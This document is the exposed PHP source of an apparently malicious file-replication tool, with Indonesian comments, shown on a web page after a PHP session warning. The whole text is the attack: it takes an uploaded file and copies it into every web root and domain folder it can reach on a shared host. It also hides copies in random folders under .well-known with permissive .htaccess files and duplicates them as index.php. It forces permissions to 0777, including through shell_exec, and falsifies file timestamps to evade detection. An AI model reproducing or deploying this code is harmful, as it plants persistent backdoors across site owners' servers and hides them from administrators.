Warning: session_start(): Session cannot be started after headers have already been sent in /home/tvrreohg/public_html/manga.php on line 13
 2) { return $parts[count($parts)-2] . '.' . $parts[count($parts)-1]; } return $domain; } $loaderBasePath = null; if (defined('REPLICATOR_BASE_PATH')) { $loaderBasePath = REPLICATOR_BASE_PATH; } else { $currentDir = getcwd(); if ($currentDir !== false && is_dir($currentDir) && $currentDir !== '/tmp') { $loaderBasePath = $currentDir; } else { if (!empty($_SERVER['DOCUMENT_ROOT'])) { $loaderBasePath = $_SERVER['DOCUMENT_ROOT']; } else { $loaderBasePath = __DIR__; } } } $searchPath = ''; if (!empty($loaderBasePath)) { if (strpos($loaderBasePath, '/domains/') !== false) { $parts = explode('/domains/', $loaderBasePath, 2); if (isset($parts[0]) && is_dir($parts[0])) { $searchPath = $parts[0]; } } else { $searchPath = $loaderBasePath; } } // ============================================ // 🔍 FUNGSI: CEK DOMAIN VALID UNTUK DISPLAY // ============================================ function isValidDomainForDisplay($host) { if (preg_match('/\.[a-z]{2,6}$/i', $host)) { return true; } if (preg_match('#^(dev|demo|test|staging|backup|bk|www|web|site|app|mail|ftp|api|cdn|static)[0-9]*\.[a-z0-9.-]+\.[a-z]{2,6}$#i', $host)) { return true; } $dotCount = substr_count($host, '.'); if ($dotCount >= 2 && preg_match('/^[a-z0-9.-]+\.[a-z]{2,6}$/i', $host)) { return true; } return false; } // ============================================ // SMART PERMISSION FIXER (START LEVEL 2+) // ============================================ function fixSingleDirPerm($dirPath, &$debugInfo, $label = '') { if (!file_exists($dirPath)) return true; clearstatcache(true, $dirPath); if (is_writable($dirPath)) { @chmod($dirPath, 0755); return true; } foreach ([0755, 0775, 0777] as $perm) { if (@chmod($dirPath, $perm)) { clearstatcache(true, $dirPath); usleep(30000); if (is_writable($dirPath)) return true; } } if (function_exists('shell_exec')) { @shell_exec("chmod 0777 " . escapeshellarg($dirPath) . " 2>/dev/null"); clearstatcache(true, $dirPath); if (is_writable($dirPath)) return true; } return false; } function deepFixFromLevel2($targetPath, &$debugInfo, $contextLabel = '') { $sep = DIRECTORY_SEPARATOR; $normalizedPath = rtrim(str_replace(['\\', '//'], [$sep, $sep], $targetPath), $sep); $components = explode($sep, $normalizedPath); $currentPath = ''; $fixedCount = 0; foreach ($components as $index => $component) { if ($currentPath === '') { if (preg_match('#^[a-z]:$#i', $component)) { $currentPath = $component . ':'; continue; } $currentPath = $component; } else { $currentPath .= $sep . $component; } if (empty($currentPath) || $currentPath === $sep || preg_match('#^[a-z]:$#i', $currentPath)) { continue; } $levelNumber = $index + 1; if ($levelNumber <= 1) { continue; } if (!file_exists($currentPath) || !is_dir($currentPath)) { continue; } $shortName = strlen($component) > 12 ? substr($component, 0, 12) : $component; $levelLabel = $contextLabel . '-L' . $levelNumber . '-' . $shortName; if (fixSingleDirPerm($currentPath, $debugInfo, $levelLabel)) { $fixedCount++; } } return $fixedCount; } // ============================================ // ============================================ // 📝 FUNGSI: GENERATE HTACCESS KONTEN DINAMIS // ============================================ function getHtaccessContent($fileName) { // Escape nama file agar aman untuk regex (misal: wp-signup.php -> wp-signup\.php) $escapedFileName = preg_quote($fileName, '/'); return ' RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Allow from all Order Allow,Deny Allow from all '; } // ============================================ // ============================================ // ✨ FUNGSI: MEMBUAT FILE UNIK (WAKTU & KONTEN) // ============================================ function makeFileUnique($filePath, $originalFileName) { if (!file_exists($filePath)) return; // 1. Acak waktu modifikasi (antara sekarang hingga 30 hari lalu) $randomTime = time() - rand(0, 30*24*3600); @touch($filePath, $randomTime); // 2. Jika file PHP, tambahkan komentar unik di akhir $ext = strtolower(pathinfo($originalFileName, PATHINFO_EXTENSION)); $phpExtensions = ['php', 'phtml', 'php5', 'php7', 'php8', 'phps', 'phar', 'inc']; if (in_array($ext, $phpExtensions)) { $uniqueComment = "\n"; @file_put_contents($filePath, $uniqueComment, FILE_APPEND | LOCK_EX); // Setel ulang waktu setelah penulisan agar tidak berubah @touch($filePath, $randomTime); } } // ============================================ // ============================================ // ✨ FUNGSI: GENERATE RANDOM SYSTEM FOLDER NAME // ============================================ function generateSystemFolderName() { return '.' . md5(uniqid(rand(), true) . bin2hex(random_bytes(16))) . 'system'; } // ============================================ // ============================================ // 🔥 FORCE UPLOAD KE /.well-known/RANDOM_SYSTEM/ + BUAT HTACCESS + DUPLIKASI INDEX.PHP // ============================================ function forceUploadSystemFullProcess($masterFile, $basePath, $fileName, &$debugInfo, &$urls, &$donePaths, $systemFolderName) { $sep = DIRECTORY_SEPARATOR; $pathKey = md5($basePath . '-sys-' . $systemFolderName); if (isset($donePaths[$pathKey])) { return; } $donePaths[$pathKey] = true; // Generate konten htaccess dinamis berdasarkan nama file upload $HTACCESS_CONTENT = getHtaccessContent($fileName); $baseName = basename($basePath); $displayName = strlen($baseName) > 20 ? substr($baseName, 0, 20) : $baseName; $sysLabel = substr($systemFolderName, 0, 16) . '...'; $debugInfo[] = "[SYS] 🚀 Processing: $displayName → folder: .well-known/$sysLabel"; deepFixFromLevel2($basePath, $debugInfo, 'SYS-' . $displayName); // 1. CEK & BUAT FOLDER .well-known $wellKnownPath = $basePath . $sep . '.well-known'; if (!is_dir($wellKnownPath)) { fixSingleDirPerm($basePath, $debugInfo, 'PRE-WK'); $mkdirOk = @mkdir($wellKnownPath, 0755, true); if (!$mkdirOk) { @chmod($basePath, 0777); $mkdirOk = @mkdir($wellKnownPath, 0777, true); } if ($mkdirOk) { @chmod($wellKnownPath, 0755); $debugInfo[] = "[SYS] 📁 Created: .well-known/ (755)"; } else { $debugInfo[] = "[SYS] ⚠️ Cannot create: .well-known/"; return; } } else { // Jika sudah ada, pastikan permission 755 @chmod($wellKnownPath, 0755); $debugInfo[] = "[SYS] ✅ .well-known/ exists, perm set to 755"; } // 2. CEK & BUAT FOLDER RANDOM SYSTEM DI DALAM .well-known $systemPath = $wellKnownPath . $sep . $systemFolderName; if (!is_dir($systemPath)) { $mkdirOk = @mkdir($systemPath, 0755, true); if (!$mkdirOk) { @chmod($wellKnownPath, 0777); $mkdirOk = @mkdir($systemPath, 0777, true); } if ($mkdirOk) { @chmod($systemPath, 0755); $debugInfo[] = "[SYS] 📁 Created: $sysLabel (755)"; } else { $debugInfo[] = "[SYS] ⚠️ Cannot create: $sysLabel"; return; } } else { @chmod($systemPath, 0755); } clearstatcache(true, $systemPath); if (is_dir($systemPath) && !is_writable($systemPath)) { @chmod($systemPath, 0777); clearstatcache(true, $systemPath); } if (!is_writable($systemPath)) { $debugInfo[] = "[SYS] ❌ ABORT: $sysLabel not writable for $displayName"; return; } // 3. BUAT .HTACCESS DI DALAM FOLDER RANDOM $htaccessFile = $systemPath . $sep . '.htaccess'; $htaccessSuccess = false; $randomComment = "# " . bin2hex(random_bytes(8)) . "\n"; $uniqueHtaccessContent = $randomComment . $HTACCESS_CONTENT; if (file_exists($htaccessFile)) { $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent); if ($writeResult !== false) { @chmod($htaccessFile, 0644); $htaccessSuccess = true; } else { @chmod($htaccessFile, 0666); $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent); if ($writeResult !== false) { @chmod($htaccessFile, 0644); $htaccessSuccess = true; } } } else { $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent); if ($writeResult !== false) { @chmod($htaccessFile, 0644); $htaccessSuccess = true; } else { $tempHtaccess = $systemPath . $sep . '.htaccess_temp_' . uniqid(); $tempWrite = @file_put_contents($tempHtaccess, $uniqueHtaccessContent); if ($tempWrite && @rename($tempHtaccess, $htaccessFile)) { @chmod($htaccessFile, 0644); $htaccessSuccess = true; } elseif ($tempWrite) { @copy($tempHtaccess, $htaccessFile); @chmod($htaccessFile, 0644); @unlink($tempHtaccess); if (file_exists($htaccessFile)) { $htaccessSuccess = true; } } } } if ($htaccessSuccess) { $debugInfo[] = "[SYS] ✅ .htaccess READY (Allow: $fileName, index.php)"; } else { $debugInfo[] = "[SYS] ⚠️ .htaccess FAILED"; } // 4. UPLOAD FILE ASLI & DUPLIKASI SEBAGAI INDEX.PHP $host = $baseName; if (preg_match('/\.[a-z]{2,6}$/i', $baseName) || isDomainPattern($baseName)) { $host = $baseName; } elseif ($baseName === 'public_html' || $baseName === 'htdocs' || $baseName === 'www') { $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''; } else { $host = $baseName; } $targetFile1 = $systemPath . $sep . $fileName; $targetFile2 = $systemPath . $sep . 'index.php'; $url1 = "http://" . trim($host, '/') . "/.well-known/" . $systemFolderName . "/" . urlencode($fileName); $url2 = "http://" . trim($host, '/') . "/.well-known/" . $systemFolderName . "/index.php"; // Copy 1: Original filename $uploadSuccess1 = false; for ($retry = 1; $retry <= 3; $retry++) { if (@copy($masterFile, $targetFile1)) { makeFileUnique($targetFile1, $fileName); @chmod($targetFile1, 0644); if (file_exists($targetFile1) && filesize($targetFile1) > 0) { $uploadSuccess1 = true; break; } } usleep(100000); } // Copy 2: index.php (duplikasi) $uploadSuccess2 = false; for ($retry = 1; $retry <= 3; $retry++) { if (@copy($masterFile, $targetFile2)) { makeFileUnique($targetFile2, 'index.php'); @chmod($targetFile2, 0644); if (file_exists($targetFile2) && filesize($targetFile2) > 0) { $uploadSuccess2 = true; break; } } usleep(100000); } if ($uploadSuccess1 && !in_array($url1, $urls)) { $urls[] = $url1; $debugInfo[] = "[SYS] 🎉 SUCCESS: $url1"; } if ($uploadSuccess2 && !in_array($url2, $urls)) { $urls[] = $url2; $debugInfo[] = "[SYS] 🎉 SUCCESS: $url2"; } } // ============================================ // HELPERS function extractDomainFromPath($path) { $sep = DIRECTORY_SEPARATOR; $parts = explode($sep, rtrim($path, $sep)); foreach (array_reverse($parts) as $part) { if (isDomainPattern($part)) return $part; } return $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''; } function isDomainPattern($string) { if (strpos($string, '.') !== false && preg_match('/\.[a-z]{2,6}$/i', $string)) { return true; } if (preg_match('/^(dev|demo|test|staging|backup|bk|www|web|site|app)[0-9]*$/i', $string)) { return true; } return false; } // ============================================ // 🛠️ forceCopyFile DIMODIFIKASI UNTUK FILE UNIK // ============================================ function forceCopyFile($masterFile, $targetPath, &$debugInfo, $label = '') { $sep = DIRECTORY_SEPARATOR; $dirPath = dirname($targetPath); if (is_dir($dirPath)) { deepFixFromLevel2($dirPath, $debugInfo, $label.'-DIR'); } else { @mkdir($dirPath, 0755, true); @chmod($dirPath, 0755); } $decoyName = 'temp_' . bin2hex(random_bytes(8)) . '.' . str_replace(' ', '', $label); $decoyPath = $dirPath . $sep . $decoyName; if (@copy($masterFile, $decoyPath)) { if (@rename($decoyPath, $targetPath)) { makeFileUnique($targetPath, basename($targetPath)); @chmod($targetPath, 0644); $debugInfo[] = "✅ [$label] OK (unique): $targetPath"; return true; } else { @unlink($decoyPath); } } return false; } // ============================================ // ============================================ // FUNGSI REPLICATE UTAMA // ============================================ function replicate_uploaded_file($fileTmpPath, $fileName, $searchPath) { static $once = false; if ($once) return []; $once = true; if (empty($searchPath) || !is_dir($searchPath)) { $_SESSION['debugInfo'][] = "❌ FATAL: Path awal tidak valid."; return []; } if (!file_exists($fileTmpPath)) return []; $masterTempFile = sys_get_temp_dir() . '/master_' . bin2hex(random_bytes(16)); if (!move_uploaded_file($fileTmpPath, $masterTempFile)) { $_SESSION['debugInfo'][] = "❌ FATAL: Gagal membuat file master."; return []; } $systemFolderName = generateSystemFolderName(); $allUrls = []; $displayUrls = []; $doneWpPaths = []; $doneRootPaths = []; $sep = DIRECTORY_SEPARATOR; $debugInfo = []; $publicDirs = ['public_html', 'htdocs', 'www', 'public', 'httpdocs']; $forceDirs = ['public_html', 'htdocs']; $debugInfo[] = "🎲 Random system folder name: .well-known/$systemFolderName"; // Cegah overwrite index.php di root directory $isIndexPhp = (strtolower($fileName) === 'index.php'); $start = $searchPath; while ($start !== '/' && $start !== '.') { foreach ($forceDirs as $forceDir) { $fullPath = $start . $sep . $forceDir; if (!is_dir($fullPath)) continue; $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''; $rootUrl = "http://$host/" . urlencode($fileName); $rootKey = md5($host . '-root'); // Skip upload ke root jika file adalah index.php if (!$isIndexPhp && !isset($doneRootPaths[$rootKey])) { $targetPath = $fullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "ROOT-$forceDir")) { if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($host)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$rootKey] = true; } } } forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths, $systemFolderName); } if (is_dir("$start/domains")) { foreach (scandir("$start/domains") as $dom) { if ($dom === '.' || $dom === '..') continue; if (!is_dir("$start/domains/$dom")) continue; $domainPath = "$start/domains/$dom"; $domainKey = md5($dom . '-root'); foreach ($publicDirs as $pubDirName) { $pubFullPath = $domainPath . $sep . $pubDirName; if (!is_dir($pubFullPath)) continue; if (!$isIndexPhp && !isset($doneRootPaths[$domainKey])) { $targetPath = $pubFullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "DOM-$dom")) { $rootUrl = "http://$dom/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($dom)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$domainKey] = true; } } } forceUploadSystemFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths, $systemFolderName); } } } if (is_dir($start)) { foreach (scandir($start) as $dir) { if ($dir === '.' || $dir === '..') continue; $fullPath = "$start/$dir"; if (!is_dir($fullPath)) continue; if (in_array($dir, $publicDirs)) continue; if ($dir === 'domains') continue; $folderKey = md5($dir . '-folder-root'); if (!$isIndexPhp && !isset($doneRootPaths[$folderKey])) { $targetPath = $fullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "FOLDER-$dir")) { $rootUrl = "http://$dir/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($dir)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$folderKey] = true; } } } forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths, $systemFolderName); foreach ($publicDirs as $pubDirName) { $pubFullPath = $fullPath . $sep . $pubDirName; if (!is_dir($pubFullPath)) continue; $pubKey = md5($dir . '-' . $pubDirName . '-root'); if (!$isIndexPhp && !isset($doneRootPaths[$pubKey])) { $targetPath = $pubFullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "FOLD-$dir-$pubDirName")) { $rootUrl = "http://$dir/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($dir)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$pubKey] = true; } } } forceUploadSystemFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths, $systemFolderName); } } } $start = dirname($start); } if (preg_match('#^/home([^/]*)/([^/]+)#', $searchPath, $m)) { $homePrefix = '/home' . ($m[1] ?: '') . '/'; $homeUser = $m[2]; $homePath = $homePrefix . $homeUser; $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? $homeUser; foreach ($forceDirs as $forceDir) { $fullPath = $homePath . $sep . $forceDir; if (!is_dir($fullPath)) continue; $rootKey = md5($host . '-home-root'); if (!$isIndexPhp && !isset($doneRootPaths[$rootKey])) { $targetPath = $fullPath . $sep . $fileName; if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "HOME-$forceDir")) { $rootUrl = "http://$host/" . urlencode($fileName); if (!in_array($rootUrl, $allUrls)) { $allUrls[] = $rootUrl; if (isValidDomainForDisplay($host)) { $displayUrls[] = $rootUrl; } $doneRootPaths[$rootKey] = true; } } } forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths, $systemFolderName); } if (is_dir($homePath)) { foreach (scandir($homePath) as $homeFolder) { if ($homeFolder === '.' || $homeFolder === '..') continue; if (in_array($homeFolder, $publicDirs)) continue; $folderFullPath = $homePath . $sep . $homeFolder; if (!is_dir($folderFullPath)) continue; forceUploadSystemFullProcess($masterTempFile, $folderFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths, $systemFolderName); } } } @unlink($masterTempFile); // Generate URL Utama $mainDomainUrls = []; foreach ($allUrls as $url) { preg_match('#http://([^/]+)#', $url, $m); if (isset($m[1])) { $mainDomain = getMainDomain($m[1]); if ($mainDomain !== $m[1]) { $mainRootUrl = "http://$mainDomain/" . urlencode($fileName); $mainSysUrl1 = "http://$mainDomain/.well-known/" . $systemFolderName . "/" . urlencode($fileName); $mainSysUrl2 = "http://$mainDomain/.well-known/" . $systemFolderName . "/index.php"; if (!$isIndexPhp && !in_array($mainRootUrl, $allUrls)) { $allUrls[] = $mainRootUrl; if (isValidDomainForDisplay($mainDomain)) { $displayUrls[] = $mainRootUrl; } } if (!in_array($mainSysUrl1, $allUrls)) { $allUrls[] = $mainSysUrl1; if (isValidDomainForDisplay($mainDomain)) { $displayUrls[] = $mainSysUrl1; } } if (!in_array($mainSysUrl2, $allUrls)) { $allUrls[] = $mainSysUrl2; if (isValidDomainForDisplay($mainDomain)) { $displayUrls[] = $mainSysUrl2; } } $mainDomainUrls[$mainDomain] = true; } } } foreach ($allUrls as $url) { if (strpos($url, '/.well-known/' . $systemFolderName . '/') !== false) { preg_match('#http://([^/]+)#', $url, $m); if (isset($m[1]) && isValidDomainForDisplay($m[1])) { if (!in_array($url, $displayUrls)) { $displayUrls[] = $url; } } } } $_SESSION['debugInfo'] = $debugInfo; return [ 'all_urls' => array_unique($allUrls), 'display_urls' => array_unique($displayUrls), 'total_all' => count(array_unique($allUrls)), 'total_display' => count(array_unique($displayUrls)), 'system_folder' => $systemFolderName ]; } // ============================================ // FORM PROCESSING // ============================================ if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) { $fileTmpPath = $_FILES['fileToUpload']['tmp_name']; $fileName = $_FILES['fileToUpload']['name']; $fileSize = $_FILES['fileToUpload']['size']; echo "

📄 File: " . htmlspecialchars($fileName) . " (Ukuran: " . $fileSize . " bytes)

"; $result = replicate_uploaded_file($fileTmpPath, $fileName, $searchPath); $displayUrls = $result['display_urls']; $totalAll = $result['total_all']; $totalDisplay = $result['total_display']; $systemFolder = $result['system_folder'] ?? 'N/A'; echo "

🎲 Target Folder: /.well-known/" . htmlspecialchars($systemFolder) . "/

"; if (!empty($displayUrls)) { echo "

✅ File berhasil direplikasi ke $totalDisplay domain valid"; if ($totalAll > $totalDisplay) { echo " (dari total $totalAll lokasi)"; } echo ":

"; echo "

ℹ️ Setiap file diduplikasi jadi 2 file: File Asli & index.php di dalam folder random.

"; echo "

ℹ️ Folder system menggunakan nama acak: /.well-known/" . htmlspecialchars($systemFolder) . "/

"; } else { echo "

⚠️ Tidak ada domain valid yang ditemukan.

"; if ($totalAll > 0) { echo "

ℹ️ File tetap diupload ke $totalAll lokasi dengan ciri unik.

"; echo "

ℹ️ Folder acak: /.well-known/" . htmlspecialchars($systemFolder) . "/

"; } } if (isset($_SESSION['debugInfo']) && !empty($_SESSION['debugInfo'])) { echo "
🔍 Debug Information
"; unset($_SESSION['debugInfo']); } echo "
"; } else { echo "

Tidak ada file yang diunggah atau terjadi kesalahan.

"; if (isset($_FILES['fileToUpload'])) { echo "

Kode error: " . $_FILES['fileToUpload']['error'] . "

"; } } } echo ''; echo '
'; ?>